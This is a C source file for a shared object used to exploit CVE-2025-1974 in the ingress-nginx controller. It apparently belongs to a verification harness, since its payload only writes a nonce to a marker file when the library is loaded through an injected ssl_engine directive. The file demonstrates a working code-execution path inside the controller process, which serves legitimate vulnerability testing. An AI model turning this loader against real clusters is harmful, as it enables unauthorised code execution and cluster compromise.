/*
 * CVE-2025-1974 attacker engine .so
 *
 * Loaded inside the ingress-nginx controller process by `nginx -t` when the
 * injected `ssl_engine <staged-path>;` directive triggers ENGINE_by_id ->
 * dlopen() of this shared object.
 *
 * On dlopen, the constructor runs INSIDE the controller process (uid 101) and
 * writes the per-attempt nonce to the controller-pod-local marker path. The
 * nonce + path are baked at build time from CLI args (NONCE / MARKER macros)
 * so the verifier injects fresh values each attempt.
 *
 * v_check / bind_engine are the OpenSSL dynamic-engine ABI entry points; they
 * are present so the engine load does not error out before/around our code.
 * (The constructor already fired at dlopen regardless.)
 */
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>

#ifndef NONCE
#define NONCE "NO_NONCE"
#endif
#ifndef MARKER
#define MARKER "/tmp/cve-2025-1974-marker"
#endif

static void write_marker(void)
{
    const char *path = MARKER;
    const char *data = NONCE "\n";
    int fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0644);
    if (fd < 0)
        return;
    (void)write(fd, data, strlen(data));
    close(fd);
}

__attribute__((constructor))
static void ctor(void)
{
    write_marker();
}

/* ---- OpenSSL dynamic-engine ABI stubs ---- */

/* unsigned long v_check(unsigned long v); returning v signals version OK */
unsigned long v_check(unsigned long v)
{
    return v;
}

/* int bind_engine(void *e, const char *id, const void *fns); */
int bind_engine(void *e, const char *id, const void *fns)
{
    (void)e; (void)id; (void)fns;
    write_marker();   /* belt-and-suspenders: also fire if reached */
    return 1;
}
